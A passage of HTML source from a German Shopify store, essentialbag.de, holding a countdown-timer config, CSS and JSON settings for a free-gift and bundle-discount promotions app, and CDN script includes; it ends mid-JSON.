PRODUCT"}],"showOnProductsInCollections":[],"excludeOnPages":["specific-urls","keywords-in-url"],"excludeOnSpecificUrls":["https:\/\/essentialbag.de\/pages\/how-to-disable-the-tracker-card","https:\/\/essentialbag.de\/pages\/how-to-disable-the-key-tracker-3-0"],"excludeOnKeywordsInUrl":["pages","key-tracker","tracker-card"],"excludeOnProducts":[],"excludeOnCollections":[],"duration":85020000},];
13050  
13051  const essentialCollectionId = null;
13052  window.essentialCountdownTimerMeta = {
13053    productData: null,
13054    productCollections: null,
13055  };
13056  window.essentialProductId = null
13057  window.essentialProductTags = null
13058  window.essentialCollectionId = null
13059  window.essentialCountdownTimerPageTemplate = "cart"
13060  
13061</script>
13061
13062
13063
13064
13065<style>
13066  .essential-countdown-timer-img-reset {
13067    /* wipe common globals */
13068    box-sizing: content-box;
13069    display: inline;
13070    width: auto;
13071    height: auto;
13072    max-width: none;
13073    max-height: none;
13074    margin: 0;
13075    padding: 0;
13076    border: none;
13077    border-radius: 0;
13078    box-shadow: none;
13079    background: none;
13080    object-fit: fill;
13081    object-position: 50% 50%;
13082    filter: none;
13083    opacity: 1;
13084    position: static;
13085    float: none;
13086    clear: none;
13087    vertical-align: baseline;
13088    transform: none;
13089    transition: none;
13090    animation: none;
13091    /* typography sometimes leaks via universal selectors */
13092    font: inherit;
13093    line-height: normal;
13094    letter-spacing: normal;
13095    text-align: start;
13096  }
13097</style>
13098
13099
13100</div><div id="shopify-block-AdjkraUk3aFVvenQ3d__8605505498557855500" class="shopify-block shopify-app-block bogos-shopify-block">
13101
13102
13103<div id="secomapp_freegifts_version" data-version="3.0"></div>
13104
13105    <!-- BEGIN app snippet: freegifts-snippet --><link href="//cdn.shopify.com/extensions/01a11ea5-2a05-78bf-b064-d20e3a7574ae/freegifts-236/assets/glider.min.css" rel="stylesheet" type="text/css" media="all" />
13106<link href="//cdn.shopify.com/extensions/01a11ea5-2a05-78bf-b064-d20e3a7574ae/freegifts-236/assets/freegifts-main.min.css" rel="stylesheet" type="text/css" media="all" />
13107
13108
13109
13110
13111
13112
13113
13114
13115
13116
13117
13118
13119<style id="sca_fg_custom_style">
13120    
13121        .freegifts-main-container .fg-section-title, .freegifts-main-container .bogos-slider-info-title { color: #121212; }
13122        .freegifts-main-container .product-title, .freegifts-main-container .bogos-gift-product-title { color: #000000; }
13123        .freegifts-main-container .original-price, .freegifts-main-container .bogos-gift-item-compare-price { color: #121212; }
13124        .freegifts-main-container .gift-price, .freegifts-main-container .bogos-gift-item-price { color: #ea5455; }
13125        .freegifts-main-container .btn-add-to-cart { color: #FFFFFF; background-color: #282828; }
13126        .freegifts-main-container .bogos-slider-offer-badge { background: #FFEF9D }
13127        .freegifts-main-container .bogos-slider-offer-badge.success { background: #CDFEE1 }
13128        .freegifts-main-container .bogos-slider-offer-title { color: #000000 }
13129        .freegifts-main-container .btn-add-to-cart svg path { fill: #FFFFFF; }
13130        .bogos-gift-select-variant-title { color: #005BD3; }
13131        .bogos-gift-select-variant-title-contain::after { border-color: #005BD3; }
13132        
13133        .fg-gift-thumbnail-offer-title { color: #000000; }
13134        .fg-gift-thumbnail-container { border-color: #8A8A8A; }
13135        .fg-gift-thumbnail-offer-time { background-color: #000000; }
13136        #sca-gift-thumbnail .sca-gift-image { width: 100px; max-height: 100px; }
13137
13138        #sca-gift-icon .sca-gift-icon-img { width: 50px; max-height: 50px; }
13139        .sca-gift-icon-collection-page .sca-gift-icon-collection-img { width: 50px; max-height: 50px; }
13140
13141        #sca-promotion-glider { color: #ffffff; background-color: #F72119; }
13142        
13143        
13144        #sca-fg-today-offer-iframe .sca-fg-header { background-color: #FFFFFF; }
13145        #sca-fg-today-offer-iframe .sca-fg-body { background-color: #FFFFFF; }
13146        #sca-fg-today-offer-iframe .sca-fg-today-offer-title { color: #5E5873 !important; }
13147        #sca-fg-today-offer-iframe .sca-fg-today-offer-subtitle { color: #b9b9c3 !important; }
13148        #sca-fg-today-offer-iframe .sca-offer-title { color: #82868b; }
13149        #sca-fg-today-offer-widget { height: 70px !important; width: 70px !important; }
13150        .sca-fg-icon-success-anim { box-shadow: inset 0 0 0 #69CE82; }
13151        @-webkit-keyframes animated-checkmark-fill { to { box-shadow: inset 0 0 0 30px #69CE82; } }
13152        @keyframes animated-checkmark-fill { to { box-shadow: inset 0 0 0 30px #69CE82; } }
13153        .sca-fg-icon-success-circle { stroke: #69CE82; }
13154        #sca-fg-today-offer-iframe .sca-fg-offer .sca-offer-header-container { background-color: #ebe9f1 }
13155        #sca-fg-today-offer-iframe .sca-fg-offer.sca-offer-archived .sca-offer-header-container { background-color: #69CE8225 }
13156        #sca-fg-today-offer-iframe .sca-gift-product-title { color:  #303030}
13157        #sca-fg-today-offer-iframe .sca-gift-product-discount-price { color: #24B263 }
13158        #sca-fg-today-offer-iframe .sca-gift-product-original-price { color: #616161 }
13159        #sca-fg-today-offer-iframe .sca-offer-info .sca-offer-subtitle { color: #616161 }
13160        
13161        
13162        .bogos-bundles-widget { background-color: #F3F3F3;  }
13163        .bogos-bundles-widget-body .bogos-bundle-item { background-color: #FFFFFF; }
13164        .bogos-bundles-widget .bogos-bundles-widget-title { color: #303030; }
13165        .bogos-bundles-widget .bogos-bundles-widget-description { color: #616161; }
13166        .bogos-bundle-item .bogos-bundle-item-title { color: #303030; }
13167        .bogos-bundle-item .bogos-bundle-item-discount-price, .bogos-bundles-widget .bogos-bundles-total-discount-price { color: #005BD3; }
13168        .bogos-bundle-item .bogos-bundle-item-original-price, .bogos-bundles-widget .bogos-bundles-total-original-price { color: #005BD3; }
13169        .bogos-bundles-widget-footer .bogos-bundles-button-add { color: #FFFFFF; background-color: #303030; }
13170        .bogos-bundles-widget .bogos-bundle-shipping-discount-container { background-color: #DEE6FF; }
13171        .bogos-bundles-widget .bogos-bundle-shipping-discount-title { color: #2332D5; }
13172        
13173        .bogos-bundles-quantity-break-widget { background-color: #F3F3F3;  }
13174        .bogos-bundles-quantity-break-widget-title { color: #303030; }
13175        .bogos-bundles-quantity-break-widget-description { color: #303030; }
13176        .bogos-bundle-quantity-break-item-original-price, .bogos-bundles-quantity-break-origin-price { color: #B5B5B5; }
13177        .bogos-bundles-quantity-break-button-add { background: #303030; color: #FFFFFF; }
13178        .bogos-bundle-quantity-break_item-container { background: #FFFFFF; }
13179        .bogos-bundle-quantity-break-label { background: #DE2A2A; color: #FFFFFF; }
13180        .bogos-bundle-quantity-break-tag { background: #F1F1F1; color: #303030; }
13181        .bogos-bundle-quantity-break-sub-title { color: #616161; }
13182        .bogos-bundles-quantity-break-discount-price { color: #303030; }
13183        .bogos-bundle-quantity-break-title { color: #303030; }
13184        .bogos-bundle-quantity-break-item-discount-price { color: #303030; }
13185
13186        .bogos-volume-discount-widget.default-layout { background-color: #F3F3F3;  }
13187        .bogos-volume-discount-widget.default-layout .bogos-volume-discount-widget-title { color: #303030; }
13188        .bogos-volume-discount-widget.default-layout .bogos-volume-discount-widget-description { color: #303030; }
13189        .bogos-volume-discount-widget.default-layout .bogos-volume-discount-item-original-price , .bogos-volume-discount-origin-price { color: #303030; }
13190        .bogos-volume-discount-widget.default-layout .bogos-volume-discount-button-add { background: #303030; color: #FFFFFF; }
13191        .bogos-volume-discount-widget.default-layout .bogos-volume-discount_item-container { background: #FFFFFF; }
13192        .bogos-volume-discount-widget.default-layout .bogos-volume-discount-label { background: #DE2A2A; color: #FFFFFF; }
13193        .bogos-volume-discount-widget.default-layout .bogos-volume-discount-tag { background: #F1F1F1; color: #303030; }
13194        .bogos-volume-discount-widget.default-layout .bogos-volume-discount-sub-title { color: #616161; }
13195        .bogos-volume-discount-widget.default-layout .bogos-volume-discount-item-discount-price { color: #303030; }
13196        .bogos-volume-discount-widget.default-layout .bogos-volume-discount-tier-price-primary span { color: #303030; }
13197        .bogos-volume-discount-widget.default-layout .bogos-volume-discount-discount-price { color: #303030; }
13198        .bogos-volume-discount-widget.default-layout .bogos-volume-discount-title { color: #303030; }
13199        .bogos-volume-discount-widget.default-layout .bogos-volume-discount-origin-price, .bogos-volume-discount-widget.default-layout .bogos-volume-discount-item-original-price { color: #B5B5B5; }
13200        .bogos-volume-discount-widget.table-layout .bogos-volume-discount-widget-header { background-color: #F3F3F3; }
13201        .bogos-volume-discount-widget.table-layout .bogos-volume-discount-widget-title { color: #303030; }
13202        .bogos-volume-discount-widget.table-layout .bogos-volume-discount-widget-description { color: #303030; }
13203        .bogos-volume-discount-table-container.line-style .bogos-volume-discount-item { background-color: #FFFFFF; }
13204        .bogos-volume-discount-widget.table-layout, .bogos-volume-discount-widget.table-layout .bogos-volume-discount-item, .bogos-volume-discount-widget-body .bogos-volume-discount-tier-info, .bogos-volume-discount-widget.table-layout .bogos-volume-discount-widget-header { border-color: #E0E0E0; }
13205        .bogos-volume-discount-widget.table-layout .bogos-volume-discount-title { color: #303030; }
13206        .bogos-volume-discount-widget.table-layout .bogos-volume-discount-description { color: #616161; }
13207        .bogos-volume-discount-widget.table-layout .bogos-volume-discount-tag { background-color: #F1F1F1; color: #DE2A2A; }
13208        .bogos-volume-discount-widget.table-layout .bogos-volume-discount-tier-discount-text { color: #303030; }
13209        .bogos-volume-discount-widget.table-layout .bogos-volume-discount-tier-label { color: #FFFFFF; background-color: #303030; }
13210        .bogos-volume-discount-widget.table-layout .bogos-volume-discount-tier-discount-price { color: #303030; }
13211        .bogos-volume-discount-widget.table-layout .bogos-volume-discount-tier-price-primary span { color: #303030; }
13212        .bogos-volume-discount-widget.table-layout .bogos-volume-discount-tier-origin-price { color: #303030; }
13213        .bogos-volume-discount-table-container.is-hidden-line .bogos-volume-discount-tier-info { border-color: transparent; }
13214        .bogos-volume-discount-widget.table-layout .bogos-volume-discount-table-container.zebra-style .bogos-volume-discount-item:nth-child(odd) { background-color: #FFFFFF; }
13215        .bogos-volume-discount-widget.table-layout .bogos-volume-discount-table-container.zebra-style  .bogos-volume-discount-item:nth-child(even) { background-color: #F5F5F5; }
13216        .bogos-volume-discount-widget .bogos-vl-tb-shipping-label { color: #2332D5; }
13217        .bogos-volume-discount-widget .bogos-vl-shipping-label { color: #2332D5; }
13218        .bogos-volume-discount-widget .bogos-vl-shipping-container { background-color: #DEE6FF; }
13219        .bogos-volume-discount-widget.default-layout .bogos-vl-subscription-option-title { color: #303030; }
13220        .bogos-volume-discount-widget.default-layout .bogos-vl-subscription-section-title { color: #303030; }
13221        .bogos-volume-discount-widget.default-layout .bogos-vl-subscription-input-c
13221heckbox:checked { background-color: #303030; border-color: #303030;}
13222        .bogos-volume-discount-widget.default-layout input[type=radio]:checked { background-color: #303030; border-color: #303030;}
13223        
13224        .bogos-mix-match-widget { background-color: #F3F3F3; ; }
13225        .bogos-mix-match-widget .bogos-mix-item { background-color: #FFFFFF; }
13226        .bogos-mix-match-widget .bogos-mix-match-widget-title { color: #303030; }
13227        .bogos-mix-match-widget .bogos-mix-match-widget-description { color: #616161; }
13228        .bogos-mix-match-widget .bogos-mix-item-title { color: #303030; }
13229        .bogos-mix-match-widget .bogos-mix-item-discount-price { color: #303030; }
13230        .bogos-mix-match-widget .bogos-mix-item-original-price { color: #B5B5B5; }
13231        .bogos-mix-match-widget .bogos-mix-match-button-add { color: #FFFFFF; background-color: #303030; }
13232        .bogos-mix-match-widget .bogos-mix-match-badge-item { background-color: #FFF8DB; }
13233        .bogos-mix-match-widget .bogos-mix-match-badge-item.success { background-color: #CDFEE1; }
13234        .bogos-mix-match-widget .bogos-mix-match-badge-item .bogos-mix-match-badge-title { color: #4F4700; }
13235        .bogos-mix-match-widget .bogos-mix-match-badge-item.success .bogos-mix-match-badge-title { color: #29845A; }
13236        .bogos-mix-match-widget .bogos-mix-match-shipping-discount-container { background-color: #DEE6FF; }
13237        .bogos-mix-match-widget .bogos-mix-match-shipping-discount-title { color: #2332D5; }
13238        
13239        .bogos-bundle-page-container .bogos-bp-steps-bar, .bogos-bundle-page-container .bogos-bp-step-bar-single { background-color: #F3F3F3; }
13240        .bogos-bundle-page-container .bogos-bp-step-title { color: #303030; }
13241        .bogos-bp-steps-container .bogos-bp-step-item.active { border-bottom: solid 3px #303030; }
13242        .bogos-bundle-page-container .bogos-bp-header-title { color: #303030; }
13243        .bogos-bundle-page-container .bogos-bp-header-subtitle { color: #303030; }
13244        .bogos-bundle-page-container .bogos-bp-step-header-title { color: #303030; }
13245        .bogos-bundle-page-container .bogos-bp-step-header-subtitle { color: #616161; }
13246        .bogos-bundle-page-container .bogos-bp-product-title, .bogos-step-item .bogos-step-item-title, .bogos-product-detail-modal .bogos-product-title { color:  #303030; }
13247        .bogos-step-items-container .bogos-step-item-variant-title { color: #616161; }
13248        .bogos-bundle-page-container .bogos-bp-product-price, .bogos-step-item .bogos-step-item-discount-price, .bogos-bp-widget-footer .bogos-bp-total-discount-price {  color:  #303030; }
13249        .bogos-step-item .bogos-step-item-original-price, .bogos-bp-widget-footer .bogos-bp-total-original-price { color:  #808080; }
13250        .bogos-bundle-page-container .bogos-bp-btn-add-product, .bogos-product-detail-modal .bogos-product-add-btn { background-color: #303030; color: #FFFFFF }
13251        .bogos-bp-widget-container .bogos-bp-widget { background-color: #F3F3F3; ; }
13252        .bogos-bp-widget .bogos-bp-widget-title { color: #303030; }
13253        .bogos-bp-widget .bogos-bp-widget-description { color: #303030; }
13254        .bogos-step-items-product-require.success .bogos-step-items-product-require-title { color: #2332D5; }
13255        .bogos-bp-widget .bogos-bp-button-add { background-color: #303030; color: #FFFFFF; }
13256        .bogos-bp-widget-badges-container .bogos-bp-widget-badge-item { background-color: #FFF8DB; }
13257        .bogos-bp-widget-badges-container .bogos-bp-widget-badge-item.success { background-color: #CDFEE1; }
13258        .bogos-bp-widget-badges-container .bogos-bp-widget-badge-title { color: #4F4700; }
13259        .bogos-bp-widget-badge-item.success .bogos-bp-widget-badge-title { color: #29845A; }
13260        .bogos-bp-widget .bogos-bundle-page-shipping-discount-container { background-color: #DEE6FF; }
13261        .bogos-bp-widget .bogos-bundle-page-shipping-discount-title { color: #2332D5; }
13262        
13263        .bogos-fbt-upsell-container { background: #F6F6F6; border-radius: 15px; }
13264        .bogos-fbt-header-title { color: #303030; }
13265        .bogos-fbt-header-description { color: #303030; }
13266        .bogos-fbt-footer-discounted-price { color: #303030; }
13267        .bogos-fbt-footer-original-price { color: #616161; }
13268        .bogos-fbt-footer-button-add { background: #303030; color: #FFFFFF; }
13269        .bogos-fbt-product-title {color: #303030; }
13270        .bogos-fbt-upsell-product-discounted-price {color: #303030; }
13271        .bogos-fbt-upsell-product-original-price {color: #808080; }
13272        .is-cheapest-free-label {color: #FFFFFF ;background-color: #FFAA00;}
13273        .is-cheapest-free {background-color: rgba(255, 170, 0, 0.2);}
13274        .bogos-fbt-this-item {background-color: #D1D1D1;color: #303030;}
13275        .bogos-fbt-upsell-body-item-checkbox {border-color: #303030;}
13276        .bogos-fbt-upsell-body-item-checkbox:checked {border-color: #303030; background-color: #303030;}
13277        .bogos-fbt-shipping-discount-container { background-color: #DEE6FF; }
13278        .bogos-fbt-shipping-discount-title { color: #2332D5; }
13279        .bogos-fbt-upsell-body-stack-meta .bogos-fbt-upsell-img-wrapper, .bogos-fbt-upsell-body-classic-item-img-wrapper .bogos-fbt-upsell-body-classic-item-img {width: 60px; height: 60px;}
13280        .bogos-fbt-upsell-container img.bogos-fbt-upsell-img {border-radius: 7.5px;}
13281        
13282        .bogos-cheapest-discount {background-color: #ffffff; border-color: #888888;}
13283        .bogos-cheapest-discount .bogos-cheapest-title { color: #303030; }
13284        .bogos-cheapest-list-product-modal .bogos-cheapest-title { color: #303030; }
13285        .bogos-cheapest-discount .bogos-cheapest-description { color: #616161; }
13286        .bogos-cheapest-product-card .bogos-cheapest-product-title { color: #303030; }
13287        .bogos-cheapest-product-card .bogos-cheapest-product-price { color: #303030; }
13288        .bogos-cheapest-product-card .bogos-cheapest-select-variant-title { color: #303030; }
13289        .bogos-cheapest-product-card .bogos-cheapest-product-add-btn { color: #ffffff; background-color: #303030}
13290        .bogos-cheapest-label-item.active .bogos-cheapest-label { color: #303030; }
13291        .bogos-cheapest-label-item.active #bogos-active-icon path { fill: #3
1329103030; }
13292        .bogos-cheapest-label-item.excluded .bogos-cheapest-label { color: #CCCCCC; }
13293        .bogos-cheapest-label-item.excluded #bogos-excluded-icon path { fill: #CCCCCC; }
13294        .bogos-cheapest-label-item:not(.active):not(.excluded) #bogos-uncheck-icon path { fill: #4A4A4A; }
13295        .bogos-cheapest-label-item:not(.active):not(.excluded) .bogos-cheapest-label { color: #303030; }
13296        .bogos-cheapest-discount .bogos-cheapest-label-container:not(:has(.bogos-cheapest-discount-bullet-items)) {background-color: #F6F6F6;}
13297        .bogos-cheapest-discount .bogos-cheapest-discount-bullet-item {color: #808080;}
13298        .bogos-cheapest-discount .bogos-cheapest-products-describe {color: #616161;}
13299        .bogos-cheapest-discount .bogos-cheapest-products-more-btn {color: #303030;}
13300        
13301        .bogos-select-option-custom-item:not(.bogos-option-default):not(.bogos-active):not(has(.sca-d-none)) {background-color: #F0F0F0; color: #303030;}
13302        .bogos-select-option-custom-item:not(.bogos-option-default).bogos-active:not(has(.sca-d-none)) {background-color: #F0F0F0; color: #303030;}
13303        .bogos-select-option-custom-item:not(.bogos-option-default).bogos-active {border: 0.5px solid #303030;}
13304        .bogos-select-option-custom-item.bogos-option-default:not(.bogos-active) .bogos-option-value-title {background-color: #F0F0F0; color: #303030;}
13305        .bogos-select-option-custom-item.bogos-option-default.bogos-active .bogos-option-value-title {background-color: #F0F0F0; color: #303030;}
13306        .bogos-select-option-custom-item.bogos-option-default.bogos-active {border: 0.5px solid #303030;}
13307        .bogos-mix-item-select-variant-option:hover, .bogos-gift-select-variant-option:hover, .bogos-bundle-select-variant-option:hover, .bogos-vl-select-variant-option:hover, .bogos-fbt-variant-item:hover, .bogos-pa-variant-item:hover, .bogos-pa-variant-item.active {background-color: #F0F0F0;}
13308        
13309    
13310    
13311</style>
13311<script id="sca_fg_custom_script" data-cmp-vendor="bogos" data-cmp-ab="0">
13312    
13313    
13314</script>
13314
13315
13316<script src="https://cdn.shopify.com/extensions/01a11ea5-2a05-78bf-b064-d20e3a7574ae/freegifts-236/assets/glider.min.js" defer></script>
vendor: 1 bytes, line 13316
13316
13317<script src="https://cdn.shopify.com/extensions/01a11ea5-2a05-78bf-b064-d20e3a7574ae/freegifts-236/assets/lz-string.min.js" defer></script>
13317
13318
13319<div id="freegifts-main-popup-container" class="freegifts-main-container sca-modal-fg"
13320     data-animation="slideInOutTop"></div>
13321<div id="sca-fg-notifications" class="sca-fg-notifications"></div>
13322
13323<div id="bogos-to-widget-icon-wrap" style="display:none"></div>
13324<div id="bogos-to-widget-iframe" style="visibility:hidden;opacity:0;position:fixed"></div>
13325
13326<div id="sca-fg-today-offer-widget"></div>
13327<div id="sca-fg-today-offer-iframe"></div>
13328
13329<div id="bogos-mix-match-main-collection-popup-container" class="sca-modal-fg"></div>
13330<div id="bogos-main-popup-product-detail-container" data-animation="slideInOutTop"></div>
13331<div id="bogos-main-popup-more-product-container" data-animation="slideInOutTop"></div>
13332
13333<div id="bogos-cart-discount-congrats-msg-wrap"></div>
13334
13335<script type="text/javascript" data-cmp-vendor="bogos" data-cmp-ab="0">
13336    if (typeof Shopify === "undefined") window.Shopify = {};
13337    Shopify.cartItems = [];
13338    Shopify.current_product = {};
13339    Shopify.current_collection = {};
13340    Shopify.products = {};
13341
13342    // current product or collection
13343    Shopify.current_product = {...null};
13344    
13345
13346    Shopify.current_collection = {...null};
13347
13348    window.SECOMAPP = window.SECOMAPP || {};
13349    SECOMAPP.fg_codes = [];
13350    SECOMAPP.activateOnlyOnePromoCode = false;
13351
13352    SECOMAPP.localization = [];SECOMAPP.localization.push({
13353        ...{"shop_locale":{"locale":"en","enabled":true,"primary":false,"published":true}},
13354        root_url: "/"
13355    });
13356    
13357    SECOMAPP.fgData = {...{"appearance":{"bundle":{"color":{"theme_color":"neutral","item_name_color":"#303030","title_text_color":"#303030","button_text_color":"#FFFFFF","bundle_price_color":"#005BD3","original_price_color":"#005BD3","description_text_color":"#616161","button_background_color":"#303030","widget_background_color":"#F3F3F3","item_card_background_color":"#FFFFFF"},"content":{"button_text":"Add bundle to cart","show_description":true,"total_price_text":"Total bundle price","shipping_icon_path":"","select_variant_text":"Select variant","show_discount_each_item":true,"show_discount_on_button":true,"shopify_shipping_icon_path":"shipping-icon-1.png"}},"gift_icon":{"product_page":{"gift_icon":{"size":"50","status":false},"gift_thumbnail":{"size":"100","title":"Gratis Budget-Planer im Wert von 29,90€ zu jeder Bestellung!","status":true}},"gift_icon_path":"images\/fg-icons\/fg-icon-red.png","collection_page":{"size":"50","status":false},"shopify_gift_icon_path":"fg-icon-red.png"},"mix_match":{"color":{"theme_color":"neutral","item_name_color":"#303030","title_text_color":"#303030","button_text_color":"#FFFFFF","bundle_price_color":"#303030","original_price_color":"#B5B5B5","description_text_color":"#616161","button_background_color":"#303030","widget_background_color":"#F3F3F3","default_label_text_color":"#4F4700","success_label_text_color":"#29845A","item_card_background_color":"#FFFFFF","default_label_background_color":"#FFF8DB","success_label_background_color":"#CDFEE1"},"others":{"hidden_brand_mark":false},"content":{"tier_style":"label","button_text":"Add bundle to cart","out_stock_text":"Out of stock!","mix_item_header":"Mix item {{itemIndex}}","show_description":true,"total_price_text":"Total bundle price","shipping_icon_path":"","select_product_text":"Choose from {{number}} product(s)","select_variant_title":"Variant","select_collection_text":"Choose from {{number}} collection(s)","show_discount_each_item":true,"show_discount_on_button":true,"shopify_shipping_icon_path":"shipping-icon-1.png"}},"fbt_upsell":{"color":{"item_name":"#303030","item_price":"#303030","theme_color":"neutral","widget_title":"#303030","widget_subtitle":"#303030","atc_button_color":"#303030","item_price_after":"#303030","item_price_before":"#808080","total_price_after":"#303030","widget_background":"#F6F6F6","total_price_before":"#616161","atc_button_text_color":"#FFFFFF"},"content":{"button_text":"Add selected items","total_price_text":"Total price","shipping_icon_path":"","shopify_shipping_icon_path":"shipping-icon-1.png"},"general":{"widget_layout":"classic","maximum_display":3,"show_discount_amount":true,"show_discount_each_item":true}},"bundle_page":{"color":{"theme_color":"neutral","step_text_color":"#303030","atc_button_color":"#303030","step_title_color":"#303030","cart_button_color":"#303030","page_heading_color":"#303030","product_title_color":"#303030","required_text_color":"#2332D5","variant_title_color":"#616161","original_price_color":"#808080","side_bar_title_color":"#303030","step_highlight_color":"#303030","atc_button_text_color":"#FFFFFF","cart_button_text_color":"#FFFFFF","discounted_price_color":"#303030","page_sub_heading_color":"#303030","step_description_color":"#616161","default_label_text_color":"#4F4700","success_label_text_color":"#29845A","side_bar_background_color":"#F3F3F3","side_bar_description_color":"#303030","default_step_background_color":"#F3F3F3","default_label_background_color":"#FFF8DB","success_label_background_color":"#CDFEE1"},"others":{"hidden_brand_mark":false},"content":{"step_text":"Step {{index}}","free_price":"FREE","tier_style":"progress","load_more_text":"Load more","out_stock_text":"Out of stock","read_more_text":"See more","step_icon_path":"images\/step-icons\/step-icon-1.png","atc_button_text":"Add to bundle","blank_step_text":"Add product to this step","cart_button_text":"Add bundle to cart","show_description":true,"total_price_text":"Total bundle price","summary_icon_path":"","free_product_title":"🎁 Free Gift","shipping_icon_path":"","summary_title_text":"Your bundle","choose_variant_text":"Choose variant","required_product_text":"{{number}} item(s) required","shopify_step_icon_path":"step-icon-1.png","summary_description_text":"Choose items from this page to make your own bundle","shopify_summary_icon_path":"summary-icon-1.png","shopify_shipping_icon_path":"shipping-icon-1.png"}},"gift_slider":{"color":{"add_to_cart_color":"#FFFFFF","offer_title_color":"#000000","product_title_color":"#000000","original_price_color":"#121212","add_to_cart_btn_color":"#282828","discounted_price_color":"#ea5455","gift_slider_title_color":"#121212","notify_add_gift_active_state_color":"#CDFEE1","notify_add_gift_normal_state_color":"#FFEF9D"},"others":{"gift_img_size":"\u0026width=480\u0026height=480","hidden_brand_mark":false,"disable_use_old_version":false},"general":{"running_text":null,"show_gift_type":"all_in_one","select_gift_btn":"Select variants","show_pagination":true,"use_old_version":true,"gift_popup_title":"Dein Geschenk","show_product_title":true,"show_variant_title":false,"add_to_cart_btn_title":"In den Warenkorb","number_product_slider":1,"show_gift_for_customer":"by_variants","enable_add_multiple_gifts":true}
13357,"pages_display":{"pages":["all"],"custom":[]},"notify_gift_can_add":{"enable":false,"number_gifts_added":"You have added {{number}} gift product(s)","number_gifts_can_be_added":"You can add {{number}} gift product(s)"},"notify_offer_available":{"text":"🎁 You have qualified for {{qualifiedOffers}} offer(s)!","enable":true},"disable_slider_checkbox":{"text":"Don't show this offer again","time":10,"enable":false}},"today_offer":{"widget_info":{"show_widget":false,"widget_title":"TODAY OFFER","widget_position":"bottom_right","widget_subtitle":"Claim these exclusive offers today","icon_widget_title":"Today offer","widget_icon_style":"icon"},"widget_color":{"offer_title_color":"#82868b","widget_title_color":"#5E5873","offer_default_color":"#ebe9f1","offer_success_color":"#69CE82","body_background_color":"#FFFFFF","widget_subtitle_color":"#b9b9c3","header_background_color":"#FFFFFF"},"widget_icon_path":"images\/widget-icons\/widget-icon-1.png","shopify_widget_icon_path":"widget-icon-1.png"},"cart_discount":{"color":{"widget":{"line_color":"#D0D0D0","theme_color":"blue","open_icon_color":"#616161","tier_text_color":"#303030","title_text_color":"#2332D5","active_icon_color":"#008000","excluded_tier_color":"#cccccc","widget_border_color":"#7B84E6","open_tier_text_color":"#303030","tier_background_color":"#FFFFFF","active_tier_text_color":"#008000","description_text_color":"#616161","widget_background_color":"#FFFFFF"},"congrats":{"theme_color":"blue","background_color":"#EEEFFB","title_text_color":"#2332D5","description_text_color":"#303030"}},"content":{"widget":{"icon":"https:\/\/d33a6lvgbd0fej.cloudfront.net\/bogos-images\/1772523961.png","divide_tiers":false,"widget_style":"style_1","discount_tier_style":"checklist","widget_border_radius":12},"congrats":{"title":"Congratulations!","position":"bottom_right","appear_for":5,"description":"You got {{discount_amount}} off!","border_radius":12}}},"product_add_on":{"color":{"theme_color":"neutral","checkbox_color":"#303030","card_border_color":"#888888","widget_background":"#F6F6F6","product_name_color":"#303030","variant_name_color":"#303030","widget_title_color":"#303030","see_more_text_color":"#808080","widget_border_color":"#FFFFFF","discount_price_color":"#303030","original_price_color":"#CCCCCC","card_background_color":"#F6F6F6","widget_subtitle_color":"#303030"},"content":{"title_align":"left","see_less_text":"See less","see_more_text":"See more","see_more_align":"left","number_cols_compact":1,"number_rows_compact":3,"number_cols_full_width":3,"number_rows_full_width":1},"general":{"card_style":"horizon","widget_style":"style_1","widget_radius":12,"product_img_size":80,"checkbox_position":"left_on_img","enable_img_radius":false}},"quantity_break":{"color":{"tag_color":"#F1F1F1","tier_price":"#303030","tier_title":"#303030","label_color":"#DE2A2A","theme_color":"neutral","bundle_price":"#303030","bundle_title":"#303030","section_title":"#303030","tag_text_color":"#303030","label_text_color":"#FFFFFF","tier_description":"#616161","button_text_color":"#FFFFFF","bundle_description":"#303030","button_check_color":"#303030","bundle_origin_price":"#B5B5B5","button_background_color":"#303030","widget_background_color":"#F3F3F3","item_card_background_color":"#FFFFFF","shipping_discount_background":"#DEE6FF","shipping_discount_text_color":"#2332D5"},"content":{"button_text":"In den Warenkorb","show_description":true,"total_price_text":"Summe","shipping_icon_path":"images\/shipping-icons\/shipping-icon-1.png","select_variant_text":"Farbe wählen"}},"select_variant":{"type":"variant","color":{"active_tab_text":"#303030","default_tab_text":"#303030","active_tab_border":"#303030","active_tab_background":"#F0F0F0","active_item_background":"#F0F0F0","default_tab_background":"#F0F0F0"},"config":[],"configs":[]},"checkout_upsell":{"color":{"button_style":"primary","widget_price_color":"base","widget_background_color":"transparent"},"content":{"widget_message":"You may also like","widget_button_text":"Add to cart"},"general":{"widget_layout":"carousel","widget_position ":"left","widget_active_message":true,"widget_active_compare_at_price":true}},"volume_discount":{"table":{"color":{"row_color":"#FFFFFF","tag_color":"#F1F1F1","line_color":"#E0E0E0","theme_color":"neutral","widget_title":"#303030","row_odd_color":"#FFFFFF","widget_header":"#F3F3F3","row_even_color":"#F5F5F5","tag_text_color":"#DE2A2A","label_text_color":"#FFFFFF","tier_title_color":"#303030","widget_sub_title":"#303030","discount_text_color":"#303030","original_price_color":"#303030","discounted_price_color":"#303030","label_background_color":"#303030","tier_description_color":"#616161","shipping_discount_text_color":"#2332D5"},"hide_line":true,"body_style":"line","text_align":"left","discount_text":"{{discountAmount}} OFF","discount_show_as":"price","show_description":true,"show_original_price":false},"content":{"button_text":"In den Warenkorb","total_price_text":"Summe","shipping_icon_path":"images\/shipping-icons\/shipping-icon-1.png","select_variant_text":"Farbe wählen","shopify_shipping_icon_path":"shipping-icon-1.png"},"default":{"color":{"tag_color":"#F1F1F1","tier_price":"#303030","tier_title":"#303030","label_color":"#DE2A2A","theme_color":"neutral","bundle_price":"#303030","bundle_title":"#303030","section_title":"#303030","tag_text_color":"#303030","label_text_color":"#FFFFFF","tier_description":"#616161","button_text_color":"#FFFFFF","bundle_description":"#303030","button_check_color":"#303030","bundle_origin_price":"#B5B5B5","button_background_color":"#303030","widget_background_color":"#F3F3F3","item_card_background_color":"#FFFFFF","shipping_discount_background":"#DEE6FF","shipping_discount_text_color":"#2332D5"},"show_description":true,"subscription_title":"Subscription","subscription_layout":"radio","option_label_onetime":"One-time purchase","option_label_subscription":"Subscribe \u0026 